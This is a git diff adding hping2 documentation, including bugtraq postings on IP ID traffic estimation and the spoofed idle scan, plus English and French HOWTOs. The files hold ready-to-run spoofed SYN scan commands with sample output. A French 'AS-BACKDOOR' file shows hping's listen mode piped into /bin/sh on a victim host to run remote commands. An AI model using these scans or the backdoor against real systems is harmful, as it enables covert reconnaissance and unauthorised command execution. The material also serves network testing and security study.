ttl=249 id=+6 win=0 rtt=630.0 ms +40 bytes from 111.222.333.44: flags=R seq=2 ttl=249 id=+6 win=0 rtt=280.0 ms +40 bytes from 111.222.333.44: flags=R seq=3 ttl=249 id=+8 win=0 rtt=340.0 ms +40 bytes from 111.222.333.44: flags=R seq=4 ttl=249 id=+5 win=0 rtt=440.0 ms +40 bytes from 111.222.333.44: flags=R seq=5 ttl=249 id=+5 win=0 rtt=410.0 ms +40 bytes from 111.222.333.44: flags=R seq=6 ttl=249 id=+8 win=0 rtt=1509.9 ms +40 bytes from 111.222.333.44: flags=R seq=7 ttl=249 id=+4 win=0 rtt=1460.0 ms +40 bytes from 111.222.333.44: flags=R seq=8 ttl=249 id=+7 win=0 rtt=770.0 ms +40 bytes from 111.222.333.44: flags=R seq=9 ttl=249 id=+5 win=0 rtt=230.0 ms +... + + as you can see this host isn't in idle, it sends ~ 6 packets every second. + Now scan www.yahoo.com's port 80 to see if it's open: + +root.1# hping -a server.alicom.com -S -p 80 -i u10000 www.yahoo.com +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.74): S set, 40 headers + 0 data bytes + +[wait some second and press CTRL+C] + +--- www.yahoo.com hping statistic --- +130 packets tramitted, 0 packets received, 100% packet loss +round-trip min/avg/max = 0.0/0.0/0.0 ms + + Looking output of 'hping awake.host.org -p 80 -A -r' it's + simple to understand that www.yahoo.com's port 80 is open: + +40 bytes from 111.222.333.44: flags=R seq=59 ttl=249 id=+16 win=0 rtt=380.0 ms +40 bytes from 111.222.333.44: flags=R seq=60 ttl=249 id=+75 win=0 rtt=850.0 ms +40 bytes from 111.222.333.44: flags=R seq=61 ttl=249 id=+12 win=0 rtt=1050.0 ms +40 bytes from 111.222.333.44: flags=R seq=62 ttl=249 id=+1 win=0 rtt=450.0 ms +40 bytes from 111.222.333.44: flags=R seq=63 ttl=249 id=+27 win=0 rtt=230.0 ms +40 bytes from 111.222.333.44: flags=R seq=64 ttl=249 id=+11 win=0 rtt=850.0 ms + + note that 16+75+12+27+11+1-6 = 136 and that we sent 130 packets. So it's + very realistic that increments are produced by our packtes. + + Tips: Using an idle host to perform spoofed scanning it's usefull to + output only replies that show an increment != 1. Try + `hping host -r | grep -v "id=+1"' diff --git a/docs/HPING2-IS-OPEN b/docs/HPING2-IS-OPEN new file mode 100644 index 0000000..454b7f8 --- /dev/null +++ b/docs/HPING2-IS-OPEN @@ -0,0 +1,15 @@ +I want to spend two words about hping2 developing model. +Hping2 is totally open to new contribution and ideas, +if you have even the littlest idea in order to make +hping better or you make some patch send me an email. +All the patches, if they don't break the old code and +are not totally useless, will be included. I know of +a lot of projects that are GPLed but in some way "close" +since every new patch is considered bloat or the only +possible code is the primary authors code: THIS IS +NOT THE CASE! Also every the littlest doc contribution +will be added to hping2, you can just build a plain-text +file that exposes how to do some task with hping, it will +be included under the 'docs' directory. + +antirez diff --git a/docs/MORE-FUN-WITH-IPID b/docs/MORE-FUN-WITH-IPID new file mode 100644 index 0000000..11bc1cd --- /dev/null +++ b/docs/MORE-FUN-WITH-IPID @@ -0,0 +1,29 @@ +Posted to bugtraq mailing list (20 Nov 1999): + +--- +Hi, + +some little new ideas about IP ID issue: + +The first is about linux firewalling: since it increase IP ID global counter +even if an outgoing packet will be filtered we are able, for example, to +scan UDP ports even if ICMP type 3 output is DENY, and in general it is possibleto know when TCP/IP stack reply a packet even if the reply is dropped. +I think (but not tested) that this is true for almost all firewalls. + +The second issue concern the ability to uncover firewall rules. For example +it is travial to know if host A filter packets from the IP X.Y.Z.W monitoring +IP ID incresing of host A or host with X.Y.Z.W address (this changes if we are +interested to know input or output rules) and sending packets that suppose +some reply. Also this is related with the ability to scan the ports of hosts +that drop all packets with a source different than host.trusted.com. +There are others stuff like this but they are only different faces of the +same concepts. + +Some people thinks that this kind of attacks isn't a "real world" attacks, +I'm strongly interested to know what's bugtraq readers opinion (IMO this +kind of attacks are feasible and usefull for an attacker. For exaple the +ability to scan the ports with only spoofed packets and the ability to +guess remote hosts traffic are a lot real). + +ciao, +antirez diff --git a/docs/SPOOFED_SCAN.txt b/docs/SPOOFED_SCAN.txt new file mode 100644 index 0000000..8675385 --- /dev/null +++ b/docs/SPOOFED_SCAN.txt @@ -0,0 +1,119 @@ +The following is the original posting to bugtraq +about spoofed/indirect/idle scan method. See +the HPING2-HOWTO for more informations. + +antirez + +--- + + Hi, + + I have uncovered a new tcp port scan method. + Instead all others it allows you to scan using spoofed + packets, so scanned hosts can't see your real address. + In order to perform this i use three well known tcp/ip + implementation peculiarities of most OS: + + (1) * hosts reply SYN|ACK to SYN if tcp target port is open, + reply RST|ACK if tcp target port is closed. + + (2) * You can know the number of packets that hosts are sending + using id ip header field. See my previous posting 'about the ip + header' in this ml. + + (3) * hosts reply RST to SYN|ACK, reply nothing to RST. + + + The Players: + + host A - evil host, the attacker. + host B - silent host. + host C - victim host. + + A is your host. + B is a particular host: It must not send any packets while + you are scanning C. There are a lot of 'zero traffic' hosts + in internet, especially in the night :) + C is the victim, it must be vulnerable to SYN scan. + + I've called this scan method 'dumb host scan' in honour of host + B characteristics. + + + How it works: + + Host A monitors number of outgoing packets from B using id iphdr. + You can do this simply using hping: + +#hping B -r +HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms +-cut- +.. +. + + As you can see, id increases are always 1. So this host have the + characteristics that host B should to own. + + Now host A sends SYN to port X of C spoofing from B. + (using hping => 0.67 is very easy, http://www.kyuzz.org/antirez) + if port X of C is open, host C will send SYN|ACK to B (yes, + host C don't know that the real sender is A). In this + case host B replies to SYN|ACK with a RST. + If we send to host C a few of SYN it will reply to B with a few + of SYN|ACK, so B will reply to C a few of RST... so + we'll see that host B is sending packets! + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms +-cut- +.. +. + + The port is open! + + Instead, if port X of C is closed sending to C a few + of SYN spoofed from B, it will reply with RST to B, and + B will not reply (see 3). So we'll see that host B is not sending + any packet: + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms +-cut- +.. +. + + The port is closed. + + All this can appear complicated to perform, but using two sessions + of hping on Linux virtual consoles or under X makes it more simple. + First session listen host B: hping B -r + Second session send spoofed SYN: hping C -a B -S + + Sorry if my english is not so clear. + However this posting is not adequate to describe exaustively + this scan method, so i'll write a paper on this topic, specially + about how to implement this in a port scanner (i.e. nmap), and + about players characteristics and OS used. + +happy new year, +antirez diff --git a/docs/french/AS-BACKDOOR b/docs/french/AS-BACKDOOR new file mode 100644 index 0000000..dc3cb5e --- /dev/null +++ b/docs/french/AS-BACKDOOR @@ -0,0 +1,37 @@ +hping peut être utilisé comme une backdoor (ndt : porte dérobée). Essayez +juste l'option -9 (--listen) et redirigez via un tube dans /bin/sh : + +Mettez hping en mode listen (ndt : d'écoute) sur le système victime. + +victim# hping -I eth0 -9 mysign | /bin/sh + +Chaque paquet qui contient "mysign" sera traité par hping, tous les octets +qui suivent "mysign" dans les paquets seront envoyés dans la sortie +standard, ainsi par exemple je serai capable d'exécuter des commandes en +utilisant tous types de protocoles. Juste pour exemple je peux utiliser le +démon smtpd pour exécuter 'ls' sur la victime. + +evil$ telnet victim 25 + +Trying 192.168.1.1... +Connected to nano (192.168.1.1). +Escape character is '^]'. +220 nano.marmoc.net ESMTP Sendmail +mysignls; + +sur la victime vous verrez : + +victim# hping -I eth0 -9 mysign | /bin/sh +hping2 listen mode +bin cdrom etc home local-home mnt root tmp var +boot dev export lib lost+found proc sbin usr +: command not found + +Comme vous pouvez le voir j'utilise 'ls;' puisque sinon le shell recevra +juste ls^M. Le ";" force l'exécution de la commande (du moins avec bash et +zsh, vérifiez votre shell pour plus d'informations). + +Ceci fonctionne avec tous les types de paquets IP valides non filtrés, le +niveau supérieur de protocole importe peu. + +antirez diff --git a/docs/french/HPING2-HOWTO.txt b/docs/french/HPING2-HOWTO.txt new file mode 100644 index 0000000..f72fb33 --- /dev/null +++ b/docs/french/HPING2-HOWTO.txt @@ -0,0 +1,475 @@ +N.B. : ce HOWTO n'est pas terminé, et par endroits très bête. Je laisse cela + ici seulement parce que peut être que c'est mieux que rien. + +HPING2 HOWTO + +Changes Log +----------- +Aug 7 1999 vi HPING2-HOWTO.txt +Aug 8 1999 __0000, __0001, __0002, __0003 +Aug 10 1999 __0004 + +Index +----- +[cherchez __XXXX afin de sauter au point que vous souhaitez] + + __0000: Avis de copyright + __0001: Qu'est ce que hping ? + __0002: Qu'est ce que j'ai besoin de connaître de TCP/IP pour + utiliser hping ? + __0003: Premiers pas avec hping + __0004: Le champ IP id et comment scanner des ports TCP en utilisant + de l'usurpation d'adresse. + __0005: Comment tester des règles de filtrage. (A faire) + __0006: Comment transférer des fichier au travers de firewalls. (A + faire) + + __000A: Exemple d'utilisation de hping (A faire) + +__0000: Avis de copyright, Licence, et tout ce genre de choses + + Copyright (C) Salvatore Sanfilippo, 1999. + + La permission est accordée de faire et distribuer des copies de ce manuel + à condition que l'avis de copyright et cet avis de permission soient + préservés sur toutes les copies. + + Permission est accordée de copier et distribuer des versions modifiées de + ce manuel sous les conditions de copie verbatim, à condition que le + travail dérivé soit distribué sous les termes d'un avis de permission + identique à celui-ci. Les traductions tombent dans la catégorie des + ''versions modifiées.'' + + Garantie : Aucune. + + Recommandations : les redistributions commerciales sont autorisées et + encouragées; cependant, il est fortement recommandé que le redistributeur + contacte l'auteur avant redistribution, dans l'intérêt de garder les + choses à jour (vous pouvez m'envoyer une copie de ce que vous faites + pendant que vous y êtes). Les traducteurs sont également encouragés à + contacter l'auteur avant traduction. Le version imprimée aura plus + d'allure. + Recyclez. + +__0001 : Qu'est ce que hping ? + + Hping est un logiciel pour tester des piles TCP/IP, pour découvrir des + politiques de firewalls, pour scanner les ports TCP de nombreuses manières + différentes, pour transférer les fichiers au travers de firewalls et + beaucoup d'autres choses. En utilisant hping vous pouvez même faire + beaucoup de choses qui ne concernent pas la sécurité. Par exemples vous + pouvez tester les performances réseau, vérifier si un système tourne, + vérifier si le champ TOS est géré, etc. + +__0002 : Qu'est ce que j'ai besoin de connaître de TCP/IP pour utiliser + hping ? + + Si vous connaissez TCP/IP vous trouverez hping très utile, sinon vous + pouvez utiliser hping seulement pour faire des tests connus. Voir __000A + pour quelques exemples. + +__0003 : Premiers pas avec hping + + La plus simple utilisation de hping est la suivante : + + #hping host + + Cette commande envoie un paquet TCP sans drapeau au port 0 du système + cible chaque seconde et montre les réponses du système. Par exemple : + +# hping www.debian.org +ppp0 default routing interface selected (according to /proc) +HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes +40 bytes from 209.81.8.242: flags=RA seq=0 ttl=243 id=63667 win=0 time=369.4 ms +40 bytes from 209.81.8.242: flags=RA seq=1 ttl=243 id=63719 win=0 time=420.0 ms +40 bytes from 209.81.8.242: flags=RA seq=2 ttl=243 id=63763 win=0 time=350.0 ms +[Ctrl+C] +--- www.debian.org hping statistic --- +3 packets tramitted, 3 packets received, 0% packet loss + + Comme vous pouvez le voir le système répond avec un paquet TCP avec les + drapeaux RST et ACK positionnés. Ainsi vous êtes capable d'effectuer un + 'ping TCP', utile quand ICMP est filtré. Par défaut le port 0 est utilisé + parce qu'il serait étrange qu'il soit à l'état LISTEN (ndt : en écoute). + Si nous envoyons un paquet TCP sans drapeau à un port à l'état LISTEN, de + nombreuses piles TCP/IP ne renverront pas de réponse. Ainsi nous sommes + capables de savoir si un port est dans l'état LISTEN. Par exemple : + +# hping www.debian.org -p 80 +ppp0 default routing interface selected (according to /proc) +HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes +[Ctrl+C] +--- www.debian.org hping statistic --- +5 packets trasmitted, 0 packets received, 100% packet loss + + Puisque le port 80 de www.debian.org est en mode LISTEN nous n'obtenons + aucune réponse. + + Mais qu'arrive-t-il si nous essayons de 'hpinger' un port bloqué par un + firewall ? Cela dépend de la politique / configuration du firewall. + Habituellement nous obtenons un paquet ICMP ou rien. Par exemple : + +# hping www.yahoo.com -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 0 data bytes +ICMP Packet filtered from 206.132.254.41 (pos1-0-2488M.hr8.SNV.globalcenter.net) + +--- www.yahoo.com hping statistic --- +14 packets tramitted, 0 packets received, 100% packet loss + + Le firewall de yahoo ne permet pas de connexion sur le port 79, donc il + répond avec un paquet ICMP Packet filtered (ICMP unreachable code 13). + Cependant il y a beaucoup de firewalls qui ignorent simplement le paquet. + Par exemple : + +# hping www.microsoft.com -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.microsoft.com (ppp0 207.46.130.150): NO FLAGS are set, 40 headers + 0 data bytes + +--- www.microsoft.com hping statistic --- +4 packets tramitted, 0 packets received, 100% packet loss + + Aucune réponse de microsoft. Est-ce que le port est bloqué ou en mode + LISTEN ? Découvrir cela est très simple. Nous essayons juste de mettre le + drapeau ACK au lieu d'envoyer un paquet TCP sans drapeau. Si le système + répond, peut-être que ce port est en mode LISTEN (mais il est possible + qu'il y ait une règle qui refuse les paquets TCP sans drapeau mais + autorise les paquets ACK). + +# hping www.microsoft.com -A -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.microsoft.com (ppp0 207.46.130.149): A set, 40 headers + 0 data bytes + +--- www.microsoft.com hping statistic --- +3 packets tramitted, 0 packets received, 100% packet loss + + Toujours pas de réponse, ainsi ce port semble être filtré. Quoi qu'il en + soit, il est possible que microsoft utilise un firewall 'intelligent' qui + sait que pour me connecter je dois d'abord envoyer un paquet SYN. + +# hping www.microsoft.com -S -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.microsoft.com (ppp0 207.46.130.149): S set, 40 headers + 0 data bytes + +--- www.microsoft.com hping statistic --- +3 packets tramitted, 0 packets received, 100% packet loss + + Ok.. il semble que le port 79 de microsoft est réellement filtré. + Pour clarification nous envoyons quelques paquets ACK au port 80 de + www.debian.org : + +# hping www.debian.org -p 80 -A +ppp0 default routing interface selected (according to /proc) +HPING www.debian.org (ppp0 209.81.8.242): A set, 40 headers + 0 data bytes +40 bytes from 209.81.8.242: flags=R seq=0 ttl=243 id=5590 win=0 time=379.5 ms +40 bytes from 209.81.8.242: flags=R seq=1 ttl=243 id=5638 win=0 time=370.0 ms +40 bytes from 209.81.8.242: flags=R seq=2 ttl=243 id=5667 win=0 time=360.0 ms + +--- www.debian.org hping statistic --- +3 packets tramitted, 3 packets received, 0% packet loss + + Nous pouvons voir les réponses même si le port 80 est en mode LISTEN parce + qu'un port en mode LISTEN ne devrait pas répondre à des paquets TCP avec + seulement un drapeau NULL, FIN, Xmas, ou Ymas. ACK et RST sont deux + drapeaux TCP importants qui permettent de tester des ACL (ndt : listes de + contrôle d'accès) et de deviner le champ ip->id en ne laissant pas de + trace dans les journaux (généralement). + +__0004 : Le champ IP id et comment scanner des ports TCP en utilisant de + l'usurpation d'adresse. + + Chaque paquet IP est identifié par un champ id de 16 bits. Grâce à ce + champ id les piles IP sont capables de gérer la fragmentation. De nombreux + OS traitent ip->id trivialement : incrémenter ce champ de 1 champ pour + chaque paquet envoyé. En utilisant ce champ id vous êtes au minimum + capable d'estimer le trafic et de scanner en usurpant l'adresse source. + OpenBSD >= 2.5 et beaucoup d'autres mettent en oeuvre un champ id + aléatoire non répétitif ainsi vous ne pouvez pas jouer avec le champ + ip->id. Le champ ip->id des systèmes Windows n'est pas positionné dans le + même ordre (ndt : dans le bon ordre), donc vous devez spécifier l'option + --winid ou -W si vous utilisez hping2 contre un système Windows. + + N.B. : Vous êtes capable de scanner un système avec un champ ip->id + sûre/aléatoire parce que pour spoofer vos paquets vous avez besoin + d'un système tiers avec un champ id incrémental, mais vous n'avez + pas besoin que la cible de votre scan ait un champ id incrémental. + + Comment estimer le trafic d'un système en utilisant le champ ip->id ? + C'est vraiment très simple : + +# hping www.yahoo.com -p 80 -A +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.74): A set, 40 headers + 0 data bytes +40 bytes from 204.71.200.74: flags=R seq=0 ttl=53 id=29607 win=0 rtt=329.4 ms +40 bytes from 204.71.200.74: flags=R seq=1 ttl=53 id=31549 win=0 rtt=390.0 ms +40 bytes from 204.71.200.74: flags=R seq=2 ttl=53 id=33432 win=0 rtt=390.0 ms +40 bytes from 204.71.200.74: flags=R seq=3 ttl=53 id=35368 win=0 rtt=380.0 ms +40 bytes from 204.71.200.74: flags=R seq=4 ttl=53 id=37335 win=0 rtt=390.0 ms +40 bytes from 204.71.200.74: flags=R seq=5 ttl=53 id=39157 win=0 rtt=380.0 ms +40 bytes from 204.71.200.74: flags=R seq=6 ttl=53 id=41118 win=0 rtt=370.0 ms +40 bytes from 204.71.200.74: flags=R seq=7 ttl=53 id=43330 win=0 rtt=390.0 ms + +--- www.yahoo.com hping statistic --- +8 packets tramitted, 8 packets received, 0% packet loss +round-trip min/avg/max = 329.4/377.4/390.0 ms + + Comme vous pouvez le voir le champ id augmente. Le paquet avec le numéro + de séquence 0 possède un champ id égal à 29607, le numéro 1 à 31549, ainsi + le système www.yahoo.com a envoyé 31549-29607 = 1942 paquets en environ + une seconde. En utilisant l'option -r ou --relid, hping affiche le delta + entre les champs id des deux derniers paquets reçus. + +# hping www.yahoo.com -P 80 -A -r +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes +40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=65179 win=0 rtt=327.1 ms +40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+1936 win=0 rtt=360.0 ms +40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+1880 win=0 rtt=340.0 ms +40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+1993 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+1871 win=0 rtt=350.0 ms +40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+1932 win=0 rtt=340.0 ms +40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+1776 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+1749 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+1888 win=0 rtt=340.0 ms +40 bytes from 204.71.200.68: flags=R seq=9 ttl=53 id=+1907 win=0 rtt=330.0 ms + +--- www.yahoo.com hping statistic --- +10 packets tramitted, 10 packets received, 0% packet loss +round-trip min/avg/max = 320.0/336.7/360.0 ms + + Évidemment si on vérifie le champ id toutes les demi-secondes plutôt que + toutes les secondes, l'incrément sera diminué de moitié. + +# hping www.yahoo.com -P 80 -A -r -i u 500000 +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes +40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=35713 win=0 rtt=327.0 ms +40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+806 win=0 rtt=310.0 ms +40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+992 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+936 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+987 win=0 rtt=310.0 ms +40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+952 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+918 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+809 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+881 win=0 rtt=320.0 ms + +--- www.yahoo.com hping statistic --- +9 packets tramitted, 9 packets received, 0% packet loss +round-trip min/avg/max = 310.0/320.8/330.0 ms + + N.B. Attention, en utilisant ip->id vous n'êtes capable que d'estimer *le + nombre de paquets envoyés/unité de temps*. Vous ne pouvez pas + toujours comparer différents systèmes. Le champ ip->id concerne + toutes les interfaces d'un système et par exemple si un système + utilise de la traduction d'adresse ou redirige les connexions TCP + vers un autre système (par exemple un firewall utilisé pour cacher un + serveur web) l'incrément du champ ip->id peut résulter en de fausses + augmentations. + + En 'hpingant' les boites windows sans utiliser l'option --winid vous + verrez que les incrément sont des multiples de 256 à cause d'un ordre des + octets inversé. Ceci peut être réellement utile pour déterminer le type + d'OS. + +#hping win95 -r +HPING win95 (eth0 192.168.4.41): NO FLAGS are set, 40 headers + 0 data bytes +46 bytes from 192.168.4.41: flags=RA seq=0 ttl=128 id=47371 win=0 rtt=0.5 ms +46 bytes from 192.168.4.41: flags=RA seq=1 ttl=128 id=+256 win=0 rtt=0.5 ms +46 bytes from 192.168.4.41: flags=RA seq=2 ttl=128 id=+256 win=0 rtt=0.6 ms +46 bytes from 192.168.4.41: flags=RA seq=3 ttl=128 id=+256 win=0 rtt=0.5 ms + +--- win95 hping statistic --- +4 packets tramitted, 4 packets received, 0% packet loss +round-trip min/avg/max = 0.5/0.5/0.6 ms + + Les systèmes windows sont "marqués", ainsi pour découvrir si un système + est un Windows vous avez juste besoin d'envoyer quelques paquets. + +Comment effectuer des scans SYN spoofés en utilisant un champ id incrémental +? Ce qui suit est le message original (ndt : du moins sa traduction) à +bugtraq à propos de la méthode de scan usurpée/indirecte/passive, dessous +j'essayerai d'expliquer les détails et comment cela est possible même avec +UDP avec quelques restrictions. + +---- le postage à bugtraq à propos des scans usurpés ---- + + Salut, + + J'ai découvert une nouvelle méthode de scan de ports TCP. Au + contraire de toutes les autres elle vous permet de scanner en + utilisant des paquets usurpés (ndt : dont l'adresse IP source est + usurpée), ainsi les systèmes scannés ne peuvent pas voir votre + adresse réelle. Afin de réaliser cela j'utilise trois particularités + bien connues des mises en oeuvre TCP/IP de la plupart des OS. + + (1) * les systèmes répondent SYN|ACK à SYN si le port TCP cible + est ouvert, et RST|ACK si le port TCP cible est fermé. + + (2) * Vous pouvez connaître le nombre de paquets que les systèmes + envoient en utilisant le champ id de l'entête IP. Voir mes + précédents postages 'à propos de l'entête IP' dans cette mailing + liste. + + (3) * les systèmes répondent RST à SYN|ACK, ne répondent rien à + RST. + + + Les joueurs: + + système A - le système malfaisant, l'attaquant. + système B - le système silencieux. + système C - le système victime. + + A est votre système. + B est un système particulier : il ne doit envoyer aucun paquet + pendant que vous scannez C. Il y a énormément de systèmes à 'trafic + nul' sur Internet, spécialement la nuit :) + C est la victime, il doit être vulnérable aux scans SYN. + + J'ai appelé cette méthode de scan 'scan du système muet' (ndt : + l'autre traduction de 'dumb' est bête) en référence aux + caractéristiques du système B. + + + Comment elle fonctionne : + + Le système A surveille le nombre de paquets sortants depuis B en + utilisant le champ id de l'entête IP. Vous pouvez faire ceci + simplement en utilisant hping : + +#hping B -r +HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms +-cut- +.. +. + + Comme vous pouvez le voir, les incréments du champ id sont toujours + de 1. Ainsi ce système a la caractéristique requise pour jouer le + rôle de B. + + Maintenant le système A envoie des paquets SYN au port X de C en + usurpant l'adresse source de B. + (avec hping => 0.67 c'est très facile, http://www.kyuzz.org/antirez) + si le port X de C est ouvert, le système C enverra SYN|ACK à B (oui, + le système C ne sait pas que le véritable expéditeur est A). Dans ce + cas le système B répond au SYN|ACK avec un RST. + Si nous envoyons au système C quelques paquets SYN il répondra à B + quelques paquet SYN|ACK, ainsi B répondra à C quelques RST... ainsi + nous verrons que le système B est en train d'envoyer des paquets ! + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms +-cut- +.. +. + + Le port est ouvert ! + + Par contre, si le port X de C est fermé alors en envoyant à C + quelques paquets SYN avec l'adresse usurpée de B, il répondra avec + des paquets RST à B, et B ne répondra pas (voir 3). Ainsi nous + verrons que le système B n'est en train d'envoyer aucun paquet : + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms +-cut- +.. +. + + Le port est fermé. + + Tout ceci peut paraître compliqué à réaliser, mais utiliser deux + sessions de hping dans des consoles virtuelles Linux ou sous X rend + cela plus simple. + La première session surveille le système B : hping B -r + La seconde session envoie des paquets SYN spoofés : hping C -a B -S + + Désolé si mon anglais n'est pas clair. + Cependant ce postage n'est pas adéquat pour décrire exhaustivement + cette méthode de scan, ainsi je vais écrire un article à ce sujet, + en particulier comment mettre en oeuvre ceci dans un scanner de + ports (i.e. nmap), et à propos des caractéristiques des joueurs et + des OS utilisés. + +bonne nouvelle année, +antirez + +---- EOF ---- + + Comme vous pouvez le voir un scan usurpé est trivial à réaliser, + particulièrement en utilisant hping2 vous êtes capable de spécifier un + intervalle en micro secondes (-i uX) ainsi vous n'avez pas besoin que le + système B soit un système totalement passif. Vous pouvez lire l'incrément + du champ id une fois toutes les secondes en envoyant 10 paquets SYN par + seconde. Si vous envoyez un nombre adéquat de paquets SYN par seconde, + l'incrément du champ id attendu est si important que vous êtes à même de + voir si le port est ouvert ou fermé même si le système B envoie d'autres + paquets. Exemple : + +# hping awake.host.org -p 80 -A -r +ppp0 default routing interface selected (according to /proc) +HPING server.alicom.com (ppp0 111.222.333.44): A set, 40 headers + 0 data bytes +40 bytes from 111.222.333.44: flags=R seq=0 ttl=249 id=47323 win=0 rtt=239.7 ms +40 bytes from 111.222.333.44: flags=R seq=1 ttl=249 id=+6 win=0 rtt=630.0 ms +40 bytes from 111.222.333.44: flags=R seq=2 ttl=249 id=+6 win=0 rtt=280.0 ms +40 bytes from 111.222.333.44: flags=R seq=3 ttl=249 id=+8 win=0 rtt=340.0 ms +40 bytes from 111.222.333.44: flags=R seq=4 ttl=249 id=+5 win=0 rtt=440.0 ms +40 bytes from 111.222.333.44: flags=R seq=5 ttl=249 id=+5 win=0 rtt=410.0 ms +40 bytes from 111.222.333.44: flags=R seq=6 ttl=249 id=+8 win=0 rtt=1509.9 ms +40 bytes from 111.222.333.44: flags=R seq=7 ttl=249 id=+4 win=0 rtt=1460.0 ms +40 